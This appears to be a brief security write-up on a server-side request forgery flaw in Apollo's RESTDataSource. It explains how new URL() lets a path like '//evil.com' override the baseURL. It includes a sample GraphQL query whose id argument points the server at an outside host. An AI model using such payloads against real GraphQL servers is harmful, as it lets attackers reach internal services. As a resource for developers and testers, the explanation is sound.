Apollo REST Data Source SSRF

Apollo REST Data Source is used for fetching data from a REST API and exposing it via GraphQL within Apollo Server. This feature can be used to get access to the internal services. This issue is very easy to miss during code review as it is required deep knowledge of browser behaviour.


Let’s take a look at following secure example

class MoviesAPI extends RESTDataSource {
  override baseURL = 'https://movies-api.example.com/';

  // GET
  async getMovie(id) {
    return this.get(
      `${id}` // path

RESTDataSource interprets the string passed to methods such as this.get() as an URL in exactly the same way that a browser interprets a link on a web page whose address is the same as this.baseURL. This may lead to slightly surprising behavior if this.baseURL has a non-empty path component:

Let’s look at the RESTDataSource code:

class RESTDataSource {
baseURL?: string;
protected resolveURL(
	path: string,
  ): ValueOrPromise<URL> {
	return new URL(path, this.baseURL);

Note that baseURL = 'https://movies-api.example.com/' is the URL’s second parameter, while id is the first.

What is the URL?

The URL constructor returns a newly created URL object representing the URL defined by the parameters:

To better understand what is relative URLs let’s look at the following example.

new URL("/a", "https://movies-api.example.com/");
// => 'https://movies-api.example.com/a' (see relative URLs)

new URL("//evil.com", "https://movies-api.example.com/");
// => 'https://evil.com/' (see relative URLs)

Relative URLs


If security mechanism restricts access to the internal REST API server with baseURL, such protection can be easily bypassed with path parameter: https://evil.com or //evil.com

{"query": "query GetMovie { getMovie(id: 'https://evil.com') { name }}"}

Note that baseURL parameter can be hidden by developers, but still can be exploited. That makes the issue to be easily identified with DAST tools like Burp Suite.